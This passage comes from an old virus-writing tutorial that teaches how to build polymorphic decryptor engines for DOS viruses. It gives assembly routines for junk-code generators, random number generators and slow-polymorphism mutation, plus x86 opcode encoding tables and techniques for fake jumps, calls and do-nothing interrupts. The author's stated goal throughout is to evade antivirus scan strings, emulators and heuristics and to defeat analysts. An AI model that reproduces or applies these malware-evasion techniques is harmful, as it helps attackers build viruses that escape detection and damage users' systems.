 about the polymorphic engines, we must think that this technique was made in
 1992, a long time ago. The had only to fight againist scan strings, and this
 today, is very easy.

 But nowadays, the polymorphic engines have a lot of enemies: code analizers,
 emulators, tracers, heuristics, and  experienced AVs  figthing againist  us.
 Firstly, VXers thought that da best option for our decryptors was to make it
 as variable as they can. But the  time have demonstrated that it was a wrong
 idea: AVers will infect  THOUSAND of baits, in order to see all possible de-
 cryptors the PER can generate. If we  show them a very little portion of our
 possible decryptors ( by using date for generate random, for example ) we're
 fucking their needs. They  have a scan  string, but in  another computer, in
 another  situation, this  scan string  won't work. This is called SLOW poly.
 We'll see this in another place at this same chapter.

 % Introduction %
 ----------------

 A polymorphic engine is da most personal thing a coder can do. At this point
 i must say to  you that use  the polymorphy of  another coder  isn't as good
 idea as it appear to be. It's very easy to code a decent PER, but if you use
 one of another coder, you'll be limited when coding your virus.

 We need to generate a decryptor, also placing junk among the real decryption
 opcodes, with fake jumps, calls, antidebugging, and all  we want to... Let's
 see what we must put for make our PER decent...

 - Generate many ways to reach the same point
 - Changing the order of the opcodes that we can.
 - Can be used in another viruses
 - Can generate calls to do nothing INT 21h functions
 - Can generate calls to do nothing interrupts
 - If we want, we can make it slow poly
 - Minimize all possible scan strings
 - Protect the instruction generator with armour, and make it very hard to
 disassemble.

 When  you're doing  a PER, the imagination is a very good weapon. Use it for
 generate as many original things as you can.

 % The first steps in polymorphism %
 -----------------------------------

 The  easiest way to make  a decryptor that changes every virus generation is
 create a junk generator, and then  put some decryptor instructions  followed
 by do-nothing  instructions. This is  the first  attempt you  can do  if you
 haven't  created an engine. The first kind of junk are the one byters, those
 simple instructions that generally we use. We must choose before do nothing,
 all the junk registers. I ussually use AX, BX and DX.
 Let's see a little table of one byters:

 OneByteTable:
        db      09Eh                    ; sahf
        db      090h                    ; nop
        db      0F8h                    ; clc
        db      0F9h                    ; stc
        db      0F5h                    ; cmc
        db      09Fh                    ; lahf
        db      0CCh                    ; int 3h
        db      048h                    ; dec ax
        db      04Bh                    ; dec bx
        db      04Ah                    ; dec dx
        db      040h                    ; inc ax
        db      043h                    ; inc bx
        db      042h                    ; inc dx
        db      098h                    ; cbw
        db      099h                    ; cwd
 EndOneByteTable:

 With a  simple routine that  places real  intructions, and other that places
 junk, we have  a very simple  polymorphic engine. It's  useful for our first
 steps, but if  you're coding a good virus, u must know one thing... if there
 are a lot of do-nothing instructions like this, be sure AV will show a flag.
 Erhm... how we can get one of this instructions? Preety simple:

 GenerateOneByteJunk:
        lea     si,OneByteTable         ; Offset of the table
        call    random                  ; Must generate random numbers
        and     ax,014h                 ; AX must be within 0 and 14 ( 15 )
        add     si,ax                   ; Add AX ( AL ) to the offset
        mov     al,[si]                 ; Put selected opcode in al
        stosb                           ; And store it in ES:DI ( points to
                                        ; the decryptor instructions )
        ret

 And, of course, we need a random number generator. Here you have da simplest
 one:

 Random:
        in      ax,40h                  ; This will generate a random number 
        in      al,40h                  ; in AX
        ret

 With da above routines, that we can do is a very bad engine. Our targets are
 anothers, so pay attention to the next parts of this chapter.

 % Some ways to make a simple operation %
 ----------------------------------------

 There are nearly infinite ( not at all... just milions of possibilities ) :)
 ways to  perform a simple instuction task. Let's imagine a " mov dx,1234h ",
 without using another register:

        mov     dx,1234h

        push    1234h
        pop     dx

        mov     dx,1234h xor 5678h
        xor     dx,5678h

        mov     dh,12h
        mov     dl,34h

        xor     dx,dx
        or      dx,1234h
        
        mov     dx,not 1234h
        not     dx
        [...]

 And we can do  more and more  combinations. And of course, if we use another
 register for perform our task, the possibilities increases a lot.

 % Changing instruction order %
 ------------------------------

 There are a  lot of instructions  that we can code in the order we want. And
 this, combinated  with the  ways to perform a  simple instructions, can make
 our polymorphic engine really powerful.

 Ussually, about all da instructions before the decryption loop can be placed
 in any order, except all the PUSH/POP  combinations, and the  related stuff.
 We are talking about  this instuctions that don't depend of another for make
 its job. Let's see an example:

        mov     cx,encrypt_size
        mov     si,encrypt_begin
        mov     di,encrypt_key

 We can put this instructions in the order we want, a random order :)
 It will do the same stuff if it looks like:

        mov     di,encrypt_key
        mov     cx,encrypt_size
        mov     si,encrypt_begin

 And in this way, all the possible combinations.

 % Portability %
 ---------------

 It's quite easy  to do  a portable polymorphic  engine. All we must do is to
 make our PER use parameters. For example, we can  use CX for handle the size
 to encrypt, DS:DX point to da code to encrypt, and else. So, in this way, we
 can use our engine in the virus we want.

 % Tables againist Blocks %
 --------------------------

 + Table based PER:

 The spirit of this kinda engine types it to have all the offsets of the rou-
 thines  that  generate  junk ( one  byters, fake int calls, math ops... ) in
 another  table. Then, with  a random  value, we call to one of this offsets,
 and generate a random junk. Let's see an example:

 RandomJunk:
        call    Random                  ; Random number in AX
        and     ax,(EndRandomJunkTable-RandomJunkTable)/2
        add     ax,ax                   ; AX*2
        xchg    si,ax                   
        add     si,offset RandomJunkTable ; Point to table
        lodsw
        call    ax                      ; Call to random table offset
        ret

 RandomJunkTable:
        dw      offset GenerateOneByteJunk
        dw      offset GenerateMovRegImm
        dw      offset GenerateMovRegMem
        dw      offset GenerateMathOp
        dw      offset GenerateArmour
        dw      offset GenerateCalls
        dw      offset GenerateJumps
        dw      offset GenerateINTs
        [...]
 EndRandomJunkTable:

 It's very easy  to add  new routines to  a table  based PER, and  this kinda
 engines can be very optimized ( depending of coder ).

 + Block based PER:

 Our objective is to make, for each instruction of the decryptor, some blocks
 of a fixed size. We've one example of this kinda engine in the Elvira virus,
 by Spanska, published  in 29A#2. Let's  see  an example of one of the blocks
 in the  Elvira engine, the  one used  for compare CX with 0. Each  block has
 a defined size ( 6 bytes ).

        cmp cx, 0
        nop
        nop
        nop

        nop
        nop
        nop
        cmp cx, 0

        nop
        or cx, cx
        nop
        nop
        nop

        nop
        nop
        nop
        or cx, cx
        nop

        test cx, 0FFFFh
        nop
        nop
        
        or cl, cl
        jne suite_or
        or ch, ch
        suite_or:

        mov bx, cx
        inc bx
        cmp bx, 1

        inc cx
        cmp cx, 1
        dec cx
        nop

        dec cx
        cmp cx, 0FFFFh
        inc cx
        nop

 Ass you can see, it's more  easy to add new blocks to  do the same task. But
 this kinda  engines have one weak point: the size. The Elvira's engine sucks
 about the half size of the virus: 4250 bytes is the virus size, engine sucks
 2000-2500 bytes of da virus. The good thing is that with adding more blocks,
 we can create new strains for  the virus, and  make it still undetectable by
 AVers :)

 + And the winner is....

 I  think tables are the solution, because we  can generate  all the possible
 combinations of blocks, and more. The blocks are the solution for all da ppl
 that don't want to make their lifes a living hell :)

 % Instructions %
 ----------------

 Here is the base of all polymorphic engines, da way to generate instructions
 with random registers, values, memory positions...

 + Notations:

 Symbol         Explanation 
  -----'         ----------'
 imm8           byte immediate operand
 imm16          word immediate operand
 reg8           byte register operand
 reg16          word register operand
 mem8           byte memory operand
 mem16          word memory operand
 regmem8        byte reg/mem operand
 regmem16       word reg/mem operand
 d8             byte memory offset displacement
 d16            word memory offset displacement
 sig8           byte signed operand
 sig16          word signed operand
 sig32          offset:segment operand
 ^0,^1, etc     Reg field of the RegInfo byte contains this num as Op. info

 RegInfoByte    needs the below fields
 reg            a code that keeps the register to be used
 sreg           a code that keeps the segment register
 r/m            how is the instruction made ( based, indexed, two regs... )
 mod            who makes the indexing ( DI, BP... )
 dir            the direction
 w              word mark

 OpCode skeleton 
  --------------'

 .-----------------------------------------------------------------------.
 |     8 bits         2     3     3      8 or 16 bits     8 or 16 bits   |
 | .=============. .=================. .==============. .==============. |
 | | Instruction | | MOD | REG | R/M | | Displacement | |     Data     | |
 | '=============' '=================' '==============' '==============' |
 |     1 byte            1 byte          1 or 2 bytes     1 or 2 bytes   |
 '-----------------------------------------------------------------------'

 Reg field 
  --------'

 Reg value      > 00  01  02  03  04  05  06  07
                  vv  vv  vv  vv  vv  vv  vv  vv
 Byte registers > AL  CL  DL  BL  AH  CH  DH  BH
 Word registers > AX  CX  DX  BX  SP  BP  SI  DI
 Extended regs  > EAX ECX EDX EBX ESP EBP ESI EDI

 How we can  know if  the register is byte or word? Easy, with the w byte. If
 it's set to 1 it's a word, and  if it's 0, we're talking  about a  byte reg.

 Sreg field  
  ---------'                                                         

 Sreg value > 01 03 05 07
              vv vv vv vv  
 Segment    > ES CS SS DS

 R/M field and Mod field 
  ----------------------'

 R/M value > 00  Mod 
                 vvv
                 000 > [BX+SI]
                 001 > [BX+DI]
                 010 > [BP+SI]
                 011 > [BP+DI]
                 100 > [SI]
                 101 > [DI]
                 110 > d16
                 111 > [BX]
  
 R/M value > 01  Mod
                 vvv
                 000 > [BX+SI+d8]
                 001 > [BX+DI+d8]
                 010 > [BP+SI+d8]
                 011 > [BP+DI+d8]
                 100 > [SI+d8]
                 101 > [DI+d8]
                 110 > [BP+d8]
                 111 > [BX+d8]

 R/M value > 10  Mod
                 vvv
                 000 > [BX+SI+d16]
                 001 > [BX+DI+d16]
                 010 > [BP+SI+d16]
                 011 > [BP+DI+d16]
                 100 > [SI+d16]
                 101 > [DI+d16]
                 110 > [BP+d16]
                 111 > [BX+d16]

 R/M value > 11  Mod   Byte Word
                 vvv    vv   vv 
                 000 >  AL   AX   
                 001 >  CL   CX   
                 010 >  DL   DX
                 011 >  BL   BX
                 100 >  AH   SP
                 101 >  CH   BP
                 110 >  DH   SI
                 111 >  BH   DI

 Direction field 
  --------------'
 If it's 0, the movement goes from reg to mod, and if it's 1, vice-versa, but
 please note that  TBSCAN will trigger a flag if a instruction goes with dir.
 field at 0, coz this can never be generated by an assembler.

 + OpCodes:

 .-------.
 |> MOV <|
 '-------'

 This instruction is the most used so far in assembly. It's also the one that
 has  more ways to code. BEWARE! It has  some optimized variants, as  you can
 see, for AL/AX. You must make da code for this registers just like an assem-
 bler program does, if not, the heuristic analyzers will fuck yer code!
 
 MOV reg8,imm8        > B0+RegByte imm8
 MOV reg16,imm16      > B8+RegWord imm16
 MOV AL,mem8          > A0 mem8
 MOV AX,mem16         > A1 mem16
 MOV mem8,AL          > A2 mem8
 MOV mem16,AX         > A3 mem16
 MOV reg8,regmem8     > 8A RegInfoByte
 MOV reg16,regmem16   > 8B RegInfoByte
 MOV regmem8,reg8     > 88 RegInfoByte
 MOV regmem16,reg16   > 89 RegInfoByte
 MOV regmem8,imm8     > C6 ^0
 MOV regmem16,imm16   > C7 ^0
 MOV reg16,segmentreg > 8C RegInfoByte
 MOV segmentreg,reg16 > 8E RegInfoByte

 .--------.
 |> XCHG <|
 '--------'

 As in MOV instruction, this OpCode is optimized for use AX.

 XCHG AX,reg16       > 90+RegWord
 XCHG reg8,regmem8   > 86 RegInfoByte
 XCHG regmem8,reg8   > 86 RegInfoByte
 XCHG reg16,regmem16 > 87 RegInfoByte
 XCHG regmem16,reg16 > 87 RegInfoByte

 .---------------------.
 |> Segment Overrides <|
 '---------------------'

 This aren't full instructions. They  are prefixes, so  this OpCodes  must be
 placed before the instruction.

 SEGCS > 2E
 SEGDS > 3E
 SEGES > 26
 SEGSS > 36

 .--------------------.
 |> Stack Operations <|
 '--------------------'

 This instructions are used for get/put/manipulate values in/to/from stack.

 PUSH reg16    > 50+RegWord
 PUSH regmem16 > FF ^6
 PUSH imm8     > 6A imm8
 PUSH imm16    > 68 imm16
 PUSH CS       > 0E
 PUSH DS       > 1E
 PUSH ES       > 06
 PUSH SS       > 16
 PUSHA         > 60
 PUSHF         > 9C                    
 POP reg16     > 58+RegWord
 POP regmem16  > 8F ^0 imm16
 POP DS        > 1F
 POP ES        > 07
 POP SS        > 17
 POPA          > 61
 POPF          > 9D

 .-------------------.
 |> Flag Operations <|
 '-------------------'

 All these  instructions are one-byters, so, they're really  good for garbage
 generators, but caution with some instructions like STD and STI.

 CLI  > FA
 STI  > FB
 CLD  > FC
 STD  > FD
 CLC  > F8
 STC  > F9
 CMC  > F5
 SAHF > 9E
 LAHF > 9F

 Logical instructions 
  -------------------'

 .-------.
 |> XOR <|
 '-------'

 XOR AL,imm8        > 34 imm8
 XOR AX,imm16       > 35 imm16
 XOR reg8,regmem8   > 32 RegInfoByte
 XOR reg16,regmem16 > 33 RegInfoByte
 XOR regmem8,reg8   > 30 RegInfoByte
 XOR regmem16,reg16 > 31 RegInfoByte
 XOR regmem8,imm8   > 80 ^6 imm8
 XOR regmem16,imm8  > 83 ^6 imm8
 XOR regmem16,imm16 > 81 ^6 imm16

 .------.
 |> OR <|
 '------'

 OR AL,imm8        > 0C imm8
 OR AX,imm16       > 0D imm16
 OR reg8,regmem8   > 0A RegInfoByte
 OR reg16,regmem16 > 0B RegInfoByte
 OR regmem8,reg8   > 08 RegInfoByte
 OR regmem16,reg16 > 09 RegInfoByte
 OR regmem8,imm8   > 80 ^1 imm8
 OR regmem16,imm8  > 83 ^1 imm8
 OR regmem16,imm16 > 81 ^1 imm16

 .-------.
 |> AND <|
 '-------'

 AND AL,imm8        > 24 imm8
 AND AX,imm16       > 25 imm16
 AND reg8,regmem8   > 22 RegInfoByte
 AND reg16,regmem16 > 23 RegInfoByte
 AND regmem8,reg8   > 20 RegInfoByte
 AND regmem16,reg16 > 21 RegInfoByte
 AND regmem8,imm8   > 80 ^4 imm8              
 AND regmem16,imm8  > 83 ^4 imm8              
 AND regmem16,imm16 > 81 ^4 imm16              

 .-------.
 |> NOT <|
 '-------'

 NOT regmem8  > F6 ^2
 NOT regmem16 > F7 ^2                 

 .-------.
 |> NEG <|
 '-------'

 NEG regmem8  > F6 ^3
 NEG regmem16 > F7 ^3                 

 .--------.
 |> TEST <|
 '--------'

 TEST AL,imm8        > A8 imm8
 TEST AL,imm16       > A9 imm16
 TEST regmem8,reg8   > 84 RegInfoByte
 TEST regmem16,reg16 > 85 RegInfoByte
 TEST regmem8,imm8   > F6 ^0 imm8
 TEST regmem16,imm16 > F7 ^0 imm16

 .-------.
 |> CMP <|
 '-------'

 CMP AL,imm8        > 3C imm8
 CMP AX,imm16       > 3D imm16
 CMP reg8,regmem8   > 3A RegInfoByte
 CMP reg16,regmem16 > 3B RegInfoByte
 CMP regmem8,reg8   > 38 RegInfoByte
 CMP regmem16,reg16 > 39 RegInfoByte
 CMP regmem8,imm8   > 80 ^7 imm8              
 CMP regmem16,imm8  > 83 ^7 imm8              
 CMP regmem16,imm16 > 81 ^7 imm16              

 Arithmetic instructions 
  ----------------------'

 .-------.
 |> ADD <|
 '-------'

 ADD AL,imm8        > 04 imm8
 ADD AX,imm16       > 05 imm16
 ADD reg8,regmem8   > 02 RegInfoByte
 ADD reg16,rm16     > 03 RegInfoByte
 ADD regmem8,reg8   > 00 RegInfoByte
 ADD regmem16,reg16 > 01 RegInfoByte
 ADD regmem8,imm8   > 80 ^0 imm8
 ADD regmem16,imm8  > 83 ^0 imm8
 ADD regmem16,imm16 > 81 ^0 imm16

 .-------.
 |> SUB <|
 '-------'

 SUB AL,imm8        > 2C imm8
 SUB AX,imm16       > 2D imm16
 SUB reg8,regmem8   > 2A RegInfoByte
 SUB reg16,regmem16 > 2B RegInfoByte
 SUB regmem8,reg8   > 28 RegInfoByte
 SUB regmem16,reg16 > 29 RegInfoByte
 SUB regmem8,imm8   > 80 ^5 imm8
 SUB regmem16,imm8  > 83 ^5 imm8
 SUB regmem16,imm16 > 81 ^5 imm16

 .-------.
 |> ADC <|
 '-------'

 ADC AL,imm8        > 14 imm8
 ADC AX,imm16       > 15 imm16                 
 ADC reg8,regmem8   > 12 RegInfoByte
 ADC reg16,regmem16 > 13 RegInfoByte
 ADC regmem8,reg8   > 10 RegInfoByte
 ADC regmem16,reg16 > 11 RegInfoByte
 ADC regmem8,imm8   > 80 ^2 imm8
 ADC regmem16,imm8  > 83 ^2 imm8
 ADC regmem16,imm16 > 81 ^2 imm16

 .-------.
 |> SBB <|
 '-------'

 SBB AL,imm8        > 1C ib
 SBB AX,imm16       > 1D iw
 SBB reg8,regmem8   > 1A RegInfoByte
 SBB reg16,regmem16 > 1B RegInfoByte
 SBB regmem8,reg8   > 18 RegInfoByte
 SBB regmem16,reg16 > 19 RegInfoByte
 SBB regmem8,imm8   > 80 ^3 imm8
 SBB regmem16,imm8  > 83 ^3 imm8
 SBB regmem16,imm16 > 81 ^3 imm16

 .-------.
 |> INC <|
 '-------'

 INC reg16    > 40+RegWord
 INC regmem8  > FE ^0
 INC regmem16 > FF ^0

 .-------.
 |> DEC <|
 '-------'

 DEC reg16    > 48+RegWord
 DEC regmem8  > FE ^1
 DEC regmem16 > FF ^1

 .-------.
 |> MUL <|
 '-------'

 MUL regmem8  > F6 ^4
 MUL regmem16 > F7 ^4

 .-------.
 |> DIV <|
 '-------'

 DIV regmem8  > F6 ^6
 DIV regmem16 > F7 ^6

 .--------.
 |> IMUL <|
 '--------'

 IMUL regmem8              > F6 ^5
 IMUL regmem16             > F7 ^5
 IMUL reg16,regmem16,imm16 > 69 imm16
 IMUL reg16,regmem16,imm8  > 6B imm8

 .--------.
 |> IDIV <|
 '--------'

 IDIV regmem8  > F6 ^7
 IDIV regmem16 > F7 ^7

 Shifting instructions 
  --------------------'

 .-------.
 |> SHL <|
 '-------'

 SHL regmem8,1     > D0 ^4                 
 SHL regmem16,1    > D1 ^4                 
 SHL regmem8,CL    > D2 ^4                 
 SHL regmem16,CL   > D3 ^4                 
 SHL regmem8,imm8  > C0 ^4 imm8            
 SHL regmem16,imm8 > C1 ^4 imm8            

 .-------.
 |> SHR <|
 '-------'

 SHR regmem8,1     > D0 ^5
 SHR regmem16,1    > D1 ^5
 SHR regmem8,CL    > D2 ^5
 SHR regmem16,CL   > D3 ^5
 SHR regmem8,imm8  > C0 ^5 imm8
 SHR regmem16,imm8 > C1 ^5 imm8

 .-------.
 |> SAL <|
 '-------'

 SAL regmem8,1     > D0 ^4 
 SAL regmem16,1    > D1 ^4 
 SAL regmem8,CL    > D2 ^4 
 SAL regmem16,CL   > D3 ^4 
 SAL regmem8,imm8  > C0 ^4 imm8
 SAL regmem16,imm8 > C1 ^4 imm8

 .-------.
 |> SAR <|
 '-------'

 SAR regmem8,1     > D0 ^7
 SAR regmem16,1    > D1 ^7 
 SAR regmem8,CL    > D2 ^7 
 SAR regmem16,CL   > D3 ^7 
 SAR regmem8,imm8  > C0 ^7 imm8
 SAR regmem16,imm8 > C1 ^7 imm8

 .-------.
 |> ROL <|
 '-------'

 ROL regmem8,1     > D0 ^0
 ROL regmem16,1    > D1 ^0
 ROL regmem8,CL    > D2 ^0
 ROL regmem16,CL   > D3 ^0 
 ROL regmem8,imm8  > C0 ^0 imm8
 ROL regmem16,imm8 > C1 ^0 imm8

 .-------.
 |> ROR <|
 '-------'

 ROR regmem8,1     > D0 ^1
 ROR regmem16,1    > D1 ^1
 ROR regmem8,CL    > D2 ^1
 ROR regmem16,CL   > D3 ^1 
 ROR regmem8,imm8  > C0 ^1 imm8
 ROR regmem16,imm8 > C1 ^1 imm8

 .-------.
 |> RCL <|
 '-------'

 RCL regmem8,1     > D0 ^2
 RCL regmem16,1    > D1 ^2
 RCL regmem8,CL    > D2 ^2
 RCL regmem16,CL   > D3 ^2 
 RCL regmem8,imm8  > C0 ^2 imm8
 RCL regmem16,imm8 > C1 ^2 imm8

 .-------.
 |> RCR <|
 '-------'

 RCR regmem8,1     > D0 ^3
 RCR regmem16,1    > D1 ^3
 RCR regmem8,CL    > D2 ^3 
 RCR regmem16,CL   > D3 ^3 
 RCR regmem8,imm8  > C0 ^3 imm8
 RCR regmem16,imm8 > C1 ^3 imm8

 Jumps, Calls and Rets 
  --------------------'

 I must talk  a little bit at  this point about an interesting thing for you.
 The jump offsets are calculated from da byte next to the whole jump instruc-
 tion, for  example, if we've a E9 00 00 ( JUMP NEAR ) we're jumping directly
 to the next instruction, the  instruction that is  just after the  jump. So,
 looking this, we  can know that  a JMP 0001 will jump  over 1 byte after the
 jump. But... What happens if we want to jump downwards? Preety simple. If we
 make a JMP FFFF, we're jumping  to the data, and it'll hang sure. We can use
 this formula, where  the X is the  final result, and X' help  us to make our
 calculations.

 X' = jump address - destination address + 2
 X  = NEG X'

 .-----------------------.
 |> Unconditional Jumps <|
 '-----------------------'

 JMP sig16 ( SHORT ) > E9 sig16
 JMP sig32 ( FAR )   > EA sig32
 JMP sig8 ( NEAR )   > EB sig8
 JMP regmem16        > FF ^4
 JMP FAR mem16:16    > FF ^5

 .---------------------.
 |> Conditional Jumps <|
 '---------------------'

 JO sig8   > 70 sig8
 JNO sig8  > 71 sig8
 JB sig8   > 72 sig8
 JAE sig8  > 73 sig8
 JZ sig8   > 74 sig8
 JNZ sig8  > 75 sig8
 JBE sig8  > 76 sig8
 JA sig8   > 77 sig8
 JS sig8   > 78 sig8
 JNS sig8  > 79 sig8
 JPE sig8  > 7A sig8
 JPO sig8  > 7B sig8
 JL sig8   > 7C sig8
 JGE sig8  > 7D sig8
 JLE sig8  > 7E sig8
 JG sig8   > 7F sig8
 JCXZ sig8 > E3 sig8

 .--------------.
 |> Call stuff <|
 '--------------'

 CALL sig32        > 9A sig32
 CALL sig16        > E8 sig16
 CALL regmem16     > FF ^2
 CALL FAR mem16:16 > FF ^3

 .-----------.
 |> Returns <|
 '-----------'

 RETN > C3
 RETF > CB
 IRET > CF

 .--------------.
 |> Loop stuff <|
 '--------------'

 LOOPNE/LOOPNZ sig8 > E0 cb
 LOOPE/LOOPZ sig8   > E1 cb                 
 LOOP sig8          > E2 cb                 

 Miscellaneous 
  ------------'

 .---------.
 |> Loads <|
 '---------'

 LEA reg16,regmem16 > 8D RegInfoByte
 LDS reg16,mem16:16 > C4 RegInfoByte
 LES reg16,mem16:16 > C5 RegInfoByte

 % Jumps / Calls generation %
 ----------------------------

 This is  one of  the most  important things to do if you want to do the code
 generated by your PER more real to lamer's eyes ;)

 + Jumps:

 The creation of  jumps is very easy, and  very useful  for our needs. Try to
 avoid da do-nothing jumps, like JMP 0000, because if we put this kinda jumps
 in excess,an heuristic flag will probably flagged. Make instructions natural
 must be our goal. And... where have you seen any jump to the next opcode? :)
 In order to  create jumps, you must  be careful  with the offset, because if
 you  make it  to low  or  too  high, the  computer will hang. You must do it
 custom-made. It's a good idea to make the jumps' offsets variables ( between
 1 and 5 will be enough ), and then place junk instructions. Make a procedure
 for assure that your jumps will go to the right place. Remember: Imagination
 is our best weapon.

 Let's see a very simple Jx ( conditional jump ) generator. It's easy.

 generate_jx:
        call    random                  ; Our random procedure
        and     al,0Fh                  ; A number between 0..16
        add     al,70h                  ; Add 70 for get instructions
        stosb                           ; Put AL in ES:DI
        xor     ax,ax                   ; Make AL = 00
        stosb                           ; Make a zero-jump 
        ret

 This isn't the best solution, but... works! :)

 + Calls:

 A little  bit harder  than the  jump construction. If we put calls as we put
 jumps the code will hang ( sure! ). This  is coz  when we're  making a call,
 the offset  is pushed onto the stack, and  the ret will return to the offset
 next to the call. So, if we put a call directly, our code  will be completly
 unuseful. There're two  ways  to avoid this. Let's  explain the  first  one:
 We make  the call to  the offset, then we  make a jump that completly  avoid 
 the call ( well, the call not... the FUCKING RET! ), we  make the  procedure
 code, place the RET, and that's all! It must look like this:

        [...]
        call    shit -------.
        [...]   <-----------|--.
        jmp     avoid_shit -|--|--.
        [...]               |  |  |
 shit:          <-----------'  |  |
        [...]                  |  |
        ret     ---------------'  |
        [...]                     |
 avoid_shit:    <-----------------'
        [...]

 Maybe da second way seems more easy to your eyes. Well, i'm gonna explain it
 for your open mind :)

 We must make a jump over da call, then generate the opcodes of the procedure
 generate the RET, and we can call the subroutine code now ( and more times )
 Let's see:

        [...]
        jmp     avoid_shit -.
        [...]               |
 shit:          <-----------|--.
        [...]               |  |
        ret     ------------|--|--.
        [...]               |  |  |
 avoid_shit:    <-----------'  |  |
        [...]                  |  |
        call    shit ----------'  |
        [...]   <-----------------'

 % Interrupt calls %
 -------------------

 This  is VERY simple, believe me. We can call to this interrupts in our code
 everytime we  want: they're  do-nothing interrupts. Let's see a little list:

 INT 01h > CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
 INT 08h > IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
 INT 0Ah > IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
 INT 0Bh > IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
 INT 0Ch > IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
 INT 0Dh > IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
 INT 0Eh > IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
 INT 0Fh > IRQ7 - PARALLEL PRINTER
 INT 1Ch > TIME - SYSTEM TIMER TICK
 INT 28h > DOS 2+ - DOS IDLE INTERRUPT
 INT 2Bh > DOS 2+ - RESERVED
 INT 2Ch > DOS 2+ - RESERVED
 INT 2Dh > DOS 2+ - RESERVED
 INT 70h > IRQ8 - CMOS REAL-TIME CLOCK
 INT 71h > IRQ9 - REDIRECTED TO INT 0A BY BIOS
 INT 72h > IRQ10 - RESERVED
 INT 73h > IRQ11 - RESERVED
 INT 74h > IRQ12 - POINTING DEVICE (PS)
 INT 75h > IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
 INT 76h > IRQ14 - HARD DISK CONTROLLER (AT and later)
 INT 77h > IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)

 These are  the INTs you  can call without any kinda problem. I recommend you
 to build a table with the number  of the  ints in  order to make a procedure
 that generates da INT opcodes. HEY! I forgot! The INT OpCode is CD, followed
 by the interrupt number, that it's a byte.

 Another  very good  choice is  to  make calls to the INT 21h/INT 10h/INT 16h
 with do-nothing functions. Let's see the INT 21h possible functions...

 AH=0Bh   > Read entry state
 AH=0Dh   > Flush buffers
 AH=19h   > Get current drive
 AH=2Ah   > Get current date
 AH=2Ch   > Get current time
 AH=30h   > Get dos version number
 AH=4Dh   > Get error code
 AH=51h   > Get active psp
 AH=62h   > Get active psp

 AX=3300h > Get break-flag
 AX=3700h > Get line-command separator
 AX=5800h > Get mem concept
 AX=5802h > Get umb insert

 I think it is quite clear how to do the code. Generate a MOV AH/AX,value and
 an INT 21h isn't hard. Just do it! :)

 Btw, Vecna gave me a kewl idea when the version 1.03 of this guide was publi
 shed in 29A#3. He  said me: you  can use  more ussual function such as open,
 read, etc. because DX  is fucked, and  they will  simply return an  error :)

 % Random number generator %
 ---------------------------

 There's one of  the most important this  of your PER. The  simplest way  for
 obtain a random number is to call to port 40h,and see what it returns. Let's
 see some code:

 random:
        in      ax,40h
        in      al,40h
        ret

 We can  also use INT 1Ah, or  another thing that we think that can return us
 different  numbers each time. If we  want a number in  a determinated range,
 we can make use  of the instuction AND. Let's see the simplest procedure for
 make a random number in range:

 random_in_range:
        push    bx
        xchg    ax,bx
        call    random
        and     ax,bx
        pop     bx
        ret

 It will return a number between 0 and da marked in AX-1. An optimized way to
 do the random in  range procedure is  to use the division. Remember what the
 division does, paying attention to the remainder. When we do a division, the
 remainder can never be higher ( or equal ) to the divisor. So, the remainder
 can be between 0 and the divisor - 1. Let's  see how will  be a procedure by
 using division:

 random_in_range:
        push    bx dx
        xchg    ax,bx
        call    random
        xor     dx,dx
        div     bx
        xchg    ax,dx  
        pop     dx bx
        ret
        
 Preety simple, as  you can see. The random number stuff will continue in the
 next part of this chapter, the slow polymorphism.

 % Slow polymorphism %
 ---------------------

 If you know how this stuff fuck AVs, you'd think it's a very difficult tech-
 nique, or something. No. The authors of  the firsts polymorphic engines tho-
 ugth that the best way to fuck AV was to make the decryptors  very variables
 each generation. It was a very good idea for the firsts PERs, but, the AVers
 discovered that  infecting thousands of baits  with a polymophic virus, they
 could see all the possible mutations, and then, add a simple scan string for
 their  ShitWare ( aka AntiViruses ). But... what  happens if we make the de-
 cryptors' mutation very slow? Then, da slow polymorphism was born. Yes, with
 this simple  idea, that can seem to be a bullshit, we can make AVers go mad.
 The most important thing we must change in order to get slow polymorphism is
 da random number generator. By changing this, we have a slow mutation engine
 for our  needs. We can  improve it, but it'll work  preety good for  ALL our
 needs. We  need values that don't change fast, like month, day or something,
 and then play something with them ( if you want, of course ) ;)

 random_range:
        push    bx cx dx
        xchg    ax,bx
        mov     ax,2C00h
        int     21h
        xchg    ax,dx      
        xor     ax,0FFFFh
        xor     dx,dx
        div     bx
        xchg    ax,dx
        pop     dx cx bx
        ret

 And, with  a routine  like this, your  PER is  now 100% slow  polymorphic. I
 believe that the concept is quite clear.

 Instead  of this, you can  test to add a counter that  avoids mutations in a
 huge  period of time, but i prefer the  above technique for slow polymorphy.

 % Advanced polymorphy %
 -----------------------

 Your  steps must go to advanced polymorphism. You must try to generate real-
 istic structures, like a program with calls to subroutines, interrupts, play
 with values already known, make  comparisons followed by  conditional jumps,
 and whatever you can  imaginate. You  must always improve the variability of
 your poly engine: if it's slow and very  variable, AV will fuck off. Imagine
 da posibilities: you can decrypt your code from top to bottom and vice-versa
 use si, di, bx or whatever you want as count register, you can add a genera-
 tor for long routines, such as little anti-debugging tricks ( neg sp/neg sp,
 not sp/not sp... ), make  a  mid-virus ( or mid-file )  decryptor, an  INT 1
 decryptor ( hell good trick! ), make do-nothing  memory movements, use  word
 operatons at time as byte ones, combine them, substitute them...

 Else, you can try with something already more advanced, like envolving poly-
 morphism, and else. There  are some  interesting documents about  this fact,
 like the Methyl's ( aka Owl[FS] ) ones.

 % Last words about polymorphism %
 ---------------------------------

 But, as the real world is a shit, the AV scum will try to get all our possi-
 ble decryptors by disassembling our preety slow polymorphic engine.

 But, here  comes the armouring for save our ass. We must heavily protect our
 PER with  an encryption  routine specially  for it ( it must be a very ANTI-
 DEBUGGING  decryptor ). As they won't  have enough time  to disassemble  the
 engine, they won't  see all it can do :) You  have a very  good selection of
 ANTI-DEBUGGER techniques in the chapter with this name ( some chpts. above )
 So, at  this time, they will concentrate  their efforts in the baits, and we
 must avoid the infection of this non-sense files. More  of this in ANTI-BAIT
